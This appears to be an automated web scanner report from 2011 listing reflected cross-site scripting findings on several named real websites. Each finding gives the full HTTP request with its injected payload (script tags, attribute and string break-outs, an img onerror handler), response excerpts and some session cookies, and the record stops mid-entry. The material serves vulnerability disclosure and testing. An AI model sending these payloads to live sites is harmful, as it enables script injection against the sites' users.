HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:48:24 GMT Pragma: no-cache Content-Length: 24636 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:55:59 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?37fe3%22%3E%3Cscript%3Ealert(document.cookie1233c"><script>alert(1)</script>6337a742d73&print=ed"> ...[SNIP]...
1.75. http://my.supermedia.com/directoryoptout/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/directoryoptout/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7cb13"><script>alert(1)</script>0d37311fbea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /directoryoptout/index.jsp?7cb13"><script>alert(1)</script>0d37311fbea=1 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059; s_cc=true; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_sq=%5B%5BB%5D%5D; undefined_s=First%20Visit; mbox=session#1296759528614-838261#1296763713|check#true#1296761913;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:48:31 GMT Pragma: no-cache Content-Length: 24551 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:56:06 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?7cb13"><script>alert(1)</script>0d37311fbea=1&print=ed"> ...[SNIP]...
The value of the url request parameter is copied into a JavaScript rest-of-line comment. The payload 59864%0aalert(1)//f7b59311292 was submitted in the url parameter. This input was echoed as 59864 alert(1)//f7b59311292 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gadgets/ifr?url=http://fcgadgets.appspot.com/spec/shareit.xml59864%0aalert(1)//f7b59311292&container=peoplesense&parent=http://www.cloudscan.me/&mid=0&view=profile&libs=google.blog&d=0.555.7&lang=en&view-params=%7B%22skin%22:%7B%22FACE_SIZE%22:%2232%22,%22HEIGHT%22:%22200%22,%22TITLE%22:%22DORK+Share%22,%22BORDER_COLOR%22:%22transparent%22,%22ENDCAP_BG_COLOR%22:%22transparent%22,%22ENDCAP_TEXT_COLOR%22:%22%23666666%22,%22ENDCAP_LINK_COLOR%22:%22%233d74a5%22,%22ALTERNATE_BG_COLOR%22:%22transparent%22,%22CONTENT_BG_COLOR%22:%22transparent%22,%22CONTENT_LINK_COLOR%22:%22%233d74a5%22,%22CONTENT_TEXT_COLOR%22:%22%23666666%22,%22CONTENT_SECONDARY_LINK_COLOR%22:%22%233d74a5%22,%22CONTENT_SECONDARY_TEXT_COLOR%22:%22%23666666%22,%22CONTENT_HEADLINE_COLOR%22:%22%23666666%22,%22FONT_FACE%22:%22normal+normal+13px+Arial,+Tahoma,+Helvetica,+FreeSans,+sans-serif%22%7D%7D&communityId=00129212639365482611&caller=http://www.cloudscan.me/ HTTP/1.1 Host: ol5u8o2ka38be34j62ktnefji390jhro-a-fc-opensocial.googleusercontent.com Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the format request parameter is copied into the HTML document as plain text between tags. The payload c34fc<script>alert(1)</script>1395c3bee03 was submitted in the format parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dispatch/?publisher=veoh&list-id=rbox-blended&format=jsonc34fc<script>alert(1)</script>1395c3bee03&id=366&list-size=12&uim=rbox-blended&intent=s&item-id=v18978294NGnK88j8&item-type=video&item-url=http%3A//www.veoh.com/browse/videos/category/action_adventure/watch/v18978294NGnK88j8&page-id=252bf48a1c3557304769eba4cb04a734b0b966bf&pv=2&cv=4-6-1-43135-1081071&uiv=default&uploader=bunny12344&v=35284&content-rating=0&external=http%3A//burp/show/11 HTTP/1.1 Host: trc.taboolasyndication.com Proxy-Connection: keep-alive Referer: http://www.veoh.com/browse/videos/category/action_adventure2e455%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecd67645eb41/watch/v18978294NGnK88j8/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 500 serializer id "jsonc34fc<script>alert(1)</script>1395c3bee03" is not configured. selectionMethod=request-parameter, selectionParam=format, defaultSerializer=xml Date: Thu, 03 Feb 2011 21:44:41 GMT Server: Jetty(6.1.7) P3P: policyref="http://trc.taboolasyndication.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Content-Type: text/html; charset=iso-8859-1 Set-Cookie: taboola_user_id=a72418f5-7573-4033-a20c-768665ba4c71;Path=/;Expires=Fri, 03-Feb-12 21:44:41 GMT Set-Cookie: taboola_session_id_veoh=v1_7d4cc60fd932dcc7937c149c3cdf9f52_a72418f5-7573-4033-a20c-768665ba4c71_1296769481_1296769481;Path=/ Set-Cookie: JSESSIONID=.prod2-f3;Path=/ Set-Cookie: taboola_wv_veoh=4501877959146416130;Path=/;Expires=Fri, 03-Feb-12 21:44:41 GMT Set-Cookie: taboola_rii_veoh=1039225080754099931_5874168958137325309;Path=/;Expires=Fri, 03-Feb-12 21:44:42 GMT Vary: Accept-Encoding Connection: close Content-Length: 4107
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"/> <title>Error 500 serializer id "jsonc34fc<script>alert(1)</script>1395c3bee03" is not configured. se ...[SNIP]... <pre>com.taboola.trc.vhf.exceptions.VHFRequestException: serializer id "jsonc34fc<script>alert(1)</script>1395c3bee03" is not configured. selectionMethod=request-parameter, selectionParam=format, defaultSerializer=xml at com.taboola.trc.vhf.adaptor.RecommendationClientAdaptor.selectSerializer(RecommendationClientAda ...[SNIP]...
The value of the item-type request parameter is copied into the HTML document as plain text between tags. The payload 93a54<script>alert(1)</script>e2384cd3dfb was submitted in the item-type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dispatch/?publisher=veoh&list-id=rbox-blended&format=json&id=366&list-size=12&uim=rbox-blended&intent=s&item-id=v18978294NGnK88j8&item-type=video93a54<script>alert(1)</script>e2384cd3dfb&item-url=http%3A//www.veoh.com/browse/videos/category/action_adventure/watch/v18978294NGnK88j8&page-id=252bf48a1c3557304769eba4cb04a734b0b966bf&pv=2&cv=4-6-1-43135-1081071&uiv=default&uploader=bunny12344&v=35284&content-rating=0&external=http%3A//burp/show/11 HTTP/1.1 Host: trc.taboolasyndication.com Proxy-Connection: keep-alive Referer: http://www.veoh.com/browse/videos/category/action_adventure2e455%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecd67645eb41/watch/v18978294NGnK88j8/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 500 No enum const class com.taboola.model.general.RecommendableItem$ItemType.video93a54<script>alert(1)</script>e2384cd3dfb Date: Thu, 03 Feb 2011 21:45:01 GMT Server: Jetty(6.1.7) P3P: policyref="http://trc.taboolasyndication.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Content-Type: text/html; charset=iso-8859-1 Set-Cookie: taboola_user_id=b3bd9e1a-f928-4358-bae5-e232f65ed404;Path=/;Expires=Fri, 03-Feb-12 21:45:01 GMT Set-Cookie: taboola_session_id_veoh=v1_ffd326beb15e99ba266c923fcd06736e_b3bd9e1a-f928-4358-bae5-e232f65ed404_1296769501_1296769501;Path=/ Set-Cookie: JSESSIONID=.prod2-f1;Path=/ Vary: Accept-Encoding Connection: close Content-Length: 4183
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"/> <title>Error 500 No enum const class com.taboola.model.general.RecommendableItem$ItemType.video93a54<script&g ...[SNIP]... <pre>java.lang.IllegalArgumentException: No enum const class com.taboola.model.general.RecommendableItem$ItemType.video93a54<script>alert(1)</script>e2384cd3dfb at java.lang.Enum.valueOf(Enum.java:196) at com.taboola.model.general.RecommendableItem$ItemType.valueOf(RecommendableItem.java:69) at com.taboola.trc.data.TextRelatedContentDataSource.getItemType( ...[SNIP]...
The value of the list-id request parameter is copied into the HTML document as plain text between tags. The payload 5b0f1<script>alert(1)</script>7876a2b5e3a was submitted in the list-id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dispatch/?publisher=veoh&list-id=rbox-blended5b0f1<script>alert(1)</script>7876a2b5e3a&format=json&id=366&list-size=12&uim=rbox-blended&intent=s&item-id=v18978294NGnK88j8&item-type=video&item-url=http%3A//www.veoh.com/browse/videos/category/action_adventure/watch/v18978294NGnK88j8&page-id=252bf48a1c3557304769eba4cb04a734b0b966bf&pv=2&cv=4-6-1-43135-1081071&uiv=default&uploader=bunny12344&v=35284&content-rating=0&external=http%3A//burp/show/11 HTTP/1.1 Host: trc.taboolasyndication.com Proxy-Connection: keep-alive Referer: http://www.veoh.com/browse/videos/category/action_adventure2e455%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecd67645eb41/watch/v18978294NGnK88j8/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 500 unsupported request id: rbox-blended5b0f1<script>alert(1)</script>7876a2b5e3a, for publisher: PublisherVariant:veoh(default_with_ads) Date: Thu, 03 Feb 2011 21:44:34 GMT Server: Jetty(6.1.7) P3P: policyref="http://trc.taboolasyndication.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Content-Type: text/html; charset=iso-8859-1 Set-Cookie: taboola_user_id=6b3a89d9-b958-41dd-9e3d-cae259e7686f;Path=/;Expires=Fri, 03-Feb-12 21:44:34 GMT Set-Cookie: taboola_session_id_veoh=v1_ef0ffcfd24d42f1d8f2b50542c8bf625_6b3a89d9-b958-41dd-9e3d-cae259e7686f_1296769474_1296769474;Path=/ Set-Cookie: JSESSIONID=.prod2-f3;Path=/ Set-Cookie: taboola_wv_veoh=4501877959146416130;Path=/;Expires=Fri, 03-Feb-12 21:44:34 GMT Vary: Accept-Encoding Connection: close Content-Length: 4111
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"/> <title>Error 500 unsupported request id: rbox-blended5b0f1<script>alert(1)</script>7876a2b5e3a, for ...[SNIP]... <pre>com.taboola.trc.vhf.exceptions.VHFConfigurationException: unsupported request id: rbox-blended5b0f1<script>alert(1)</script>7876a2b5e3a, for publisher: PublisherVariant:veoh(default_with_ads) at com.taboola.trc.vhf.viewsHandler.GeneralViewsProducer.handleViewRequest(GeneralViewsProducer.java:336) at com.taboola.trc.vhf.viewsHandler. ...[SNIP]...
The value of the publisher request parameter is copied into the HTML document as plain text between tags. The payload 3cb6d<script>alert(1)</script>b0331f67d92 was submitted in the publisher parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dispatch/?publisher=veoh3cb6d<script>alert(1)</script>b0331f67d92&list-id=rbox-blended&format=json&id=366&list-size=12&uim=rbox-blended&intent=s&item-id=v18978294NGnK88j8&item-type=video&item-url=http%3A//www.veoh.com/browse/videos/category/action_adventure/watch/v18978294NGnK88j8&page-id=252bf48a1c3557304769eba4cb04a734b0b966bf&pv=2&cv=4-6-1-43135-1081071&uiv=default&uploader=bunny12344&v=35284&content-rating=0&external=http%3A//burp/show/11 HTTP/1.1 Host: trc.taboolasyndication.com Proxy-Connection: keep-alive Referer: http://www.veoh.com/browse/videos/category/action_adventure2e455%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecd67645eb41/watch/v18978294NGnK88j8/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 500 Invalid publisher name in recommendation request: veoh3cb6d<script>alert(1)</script>b0331f67d92 Date: Thu, 03 Feb 2011 21:44:27 GMT Server: Jetty(6.1.7) P3P: policyref="http://trc.taboolasyndication.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Content-Type: text/html; charset=iso-8859-1 Vary: Accept-Encoding Connection: close Content-Length: 3330
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"/> <title>Error 500 Invalid publisher name in recommendation request: veoh3cb6d<script>alert(1)</script> ...[SNIP]... <pre>com.taboola.trc.vhf.exceptions.VHFConfigurationException: Invalid publisher name in recommendation request: veoh3cb6d<script>alert(1)</script>b0331f67d92 at com.taboola.trc.vhf.adaptor.RecommendationClientAdaptor.dispatchPrehandling(RecommendationClientAdaptor.java:746) at com.taboola.trc.vhf.adaptor.RecommendationClientAdaptor.httpClientRequest(Reco ...[SNIP]...
1.81. http://www.bizfind.us/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bizfind.us
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97bfe"><script>alert(1)</script>18ca5e0718d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?97bfe"><script>alert(1)</script>18ca5e0718d=1 HTTP/1.1 Host: www.bizfind.us Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASPSESSIONIDSQQCTAQA=KHEEKNBBHJMPFGDEDDNMBPHF; __utmz=252525594.1296786866.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=252525594.371918977.1296786866.1296786866.1296786866.1; __utmc=252525594; __utmb=252525594.1.10.1296786866
Response
HTTP/1.1 200 OK Date: Fri, 04 Feb 2011 18:00:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PleskWin MicrosoftOfficeWebServer: 5.0_Pub Content-Length: 15800 Content-Type: text/html Set-Cookie: ASPSESSIONIDQSSDQDQB=FDMOGJOBLPHILKAOOAOJGEGF; path=/ Cache-control: private
1.82. http://www.bizfind.us/15/182221/abc-development-inc/chicago.aspx/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bizfind.us
Path:
/15/182221/abc-development-inc/chicago.aspx/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9ef9"><script>alert(1)</script>dd38641bfde was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /15/182221/abc-development-inc/chicago.aspx/x22?d9ef9"><script>alert(1)</script>dd38641bfde=1 HTTP/1.1 Host: www.bizfind.us Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Thu, 03 Feb 2011 21:48:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PleskWin MicrosoftOfficeWebServer: 5.0_Pub Content-Length: 11704 Content-Type: text/html Set-Cookie: ASPSESSIONIDSQQCTAQA=JDEEKNBBLGAHBJGBEKACDHHM; path=/ Cache-control: private
The value of REST URL parameter 6 is copied into the name of an HTML tag attribute. The payload 3c056%20a%3dbd8be886654d was submitted in the REST URL parameter 6. This input was echoed as 3c056 a=bd8be886654d in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /15/182221/abc-development-inc/chicago.aspx/x22/%22ns3c056%20a%3dbd8be886654d=%22alert(0x0006C1) HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.bizfind.us
Response
HTTP/1.1 200 OK Date: Fri, 04 Feb 2011 18:01:09 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PleskWin MicrosoftOfficeWebServer: 5.0_Pub Content-Length: 12113 Content-Type: text/html Set-Cookie: ASPSESSIONIDQSSDQDQB=IOMOGJOBLGKMEEODHDPJNBFA; path=/ Cache-control: private
1.84. http://www.bizfind.us/15/182221/abc-development-inc/chicago.aspx/x22/%22ns=%22alert(0x0006C1) [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21fc8"><script>alert(1)</script>3c5d1bbb05c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /15/182221/abc-development-inc/chicago.aspx/x22/%22ns=%22alert(0x0006C1)?21fc8"><script>alert(1)</script>3c5d1bbb05c=1 HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.bizfind.us
Response
HTTP/1.1 200 OK Date: Fri, 04 Feb 2011 18:00:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PleskWin MicrosoftOfficeWebServer: 5.0_Pub Content-Length: 12152 Content-Type: text/html Set-Cookie: ASPSESSIONIDQSSDQDQB=CCMOGJOBOEJLBIDGEPLHOCKP; path=/ Cache-control: private
1.85. http://www.bizfind.us/15/182221/abc-development-inc/chicago.aspx/x22/%22ns=%22alert(0x0006C1) [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the name of an HTML tag attribute. The payload 55cfe><a>a5947f68df6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /15/182221/abc-development-inc/chicago.aspx/x22/%22ns=%22alert(0x0006C1)?55cfe><a>a5947f68df6=1 HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.bizfind.us
Response
HTTP/1.1 200 OK Date: Fri, 04 Feb 2011 18:00:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PleskWin MicrosoftOfficeWebServer: 5.0_Pub Content-Length: 11931 Content-Type: text/html Set-Cookie: ASPSESSIONIDQSSDQDQB=DNLOGJOBDBDLOPJCCANBACKG; path=/ Cache-control: private
1.86. http://www.butterscotch.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.butterscotch.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f74ff'><script>alert(1)</script>d34a3b78cab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?f74ff'><script>alert(1)</script>d34a3b78cab=1 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the src request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 231c0'><script>alert(1)</script>53794fb9664 was submitted in the src parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?src=tcv3video231c0'><script>alert(1)</script>53794fb9664 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8c40"><script>alert(1)</script>23d9018f7a3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/A-Lista8c40"><script>alert(1)</script>23d9018f7a3 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7f0c8"-alert(1)-"39e9638a1ff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shows/A-List7f0c8"-alert(1)-"39e9638a1ff HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2f0b4'><script>alert(1)</script>f96c8436d8c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/A-List2f0b4'><script>alert(1)</script>f96c8436d8c HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9be04'><script>alert(1)</script>43f8c6292e2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/AT9be04'><script>alert(1)</script>43f8c6292e2 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 30613"-alert(1)-"94f0bdba78e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shows/AT30613"-alert(1)-"94f0bdba78e HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 259d1"><script>alert(1)</script>966a5ade193 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/AT259d1"><script>alert(1)</script>966a5ade193 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1cdff'><script>alert(1)</script>7fc59e7282f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/Lab-Rats1cdff'><script>alert(1)</script>7fc59e7282f HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f862"-alert(1)-"b0c5dfc94b0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shows/Lab-Rats2f862"-alert(1)-"b0c5dfc94b0 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 605d2"><script>alert(1)</script>0f550289d8e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/Lab-Rats605d2"><script>alert(1)</script>0f550289d8e HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 86263'><script>alert(1)</script>484a3c8edc8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/Miss-Download86263'><script>alert(1)</script>484a3c8edc8 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 26605"-alert(1)-"689bed10a7d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
